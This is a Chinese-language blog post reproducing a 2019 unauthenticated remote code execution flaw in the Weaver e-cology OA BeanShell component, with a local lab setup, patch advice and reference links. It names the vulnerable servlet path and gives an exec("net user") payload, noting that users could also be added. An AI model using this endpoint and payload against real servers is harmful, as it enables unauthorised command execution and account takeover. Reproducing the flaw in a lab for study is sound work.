泛微e-cology OA Beanshell组件远程代码执行漏洞复现

1.泛微e-cology OA简介

泛微e-cologyOA协同商务系统是专为大中型企业制作的OA办公系统,它支持PC端、移动端和微信端同时办公,其内置了大量智能化办公工具,使得各部门之间的协作变得畅通而又简单。总而言之,它是一个办公系统。

2.漏洞概述
2019年9月17日,泛微OA更新了一个安全问题,修复了一个远程代码执行漏洞。泛微 e-cology OA 系统自带 BeanShell 组件且开放未授权访问,攻击者调用 BeanShell 组件接口可直接在目标服务器上执行任意命令。
漏洞影响的版本:泛微e-cology <= 9.0

3.漏洞复现

  1. 打开xampp软件,将weaver.war包复制webapps目录下,然后启动xampp的xampp-control。
    泛微e-cology OA Beanshell组件远程代码执行漏洞复现_第1张图片

  2. 启动tomcat,如图
    泛微e-cology OA Beanshell组件远程代码执行漏洞复现_第2张图片

  3. 访问本地环境
    http://127.0.0.1:8080/weaver/

泛微e-cology OA Beanshell组件远程代码执行漏洞复现_第3张图片
至此,本地环境搭建完成。

4.漏洞利用

  1. 点击Go to the BeanShell servle跳转到BeanShell组件远程代码执行触发页面。
http://127.0.0.1:8080/weaver/bsh.servlet.BshServlet

泛微e-cology OA Beanshell组件远程代码执行漏洞复现_第4张图片

  1. 执行系统命令 net user 查看当前系统所有用户,或者可以直接添加用户。
    exec("net user");
    泛微e-cology OA Beanshell组件远程代码执行漏洞复现_第5张图片

5.漏洞修复

泛微e-cology OA系统为商业软件,可直接联系官方取得安全升级方案;在官方安全补丁发布之前,临时关停BeanShell接口或关闭网站对外访问。
安全补丁下载:https://www.weaver.com.cn/cs/securityDownload.asp

6.参考链接
https://www.77169.net/html/243215.html
https://www.cnblogs.com/Oran9e/p/11566824.html
https://help.aliyun.com/noticelist/articleid/1060057523.html
https://beanshell.github.io/

你可能感兴趣的:(漏洞复现)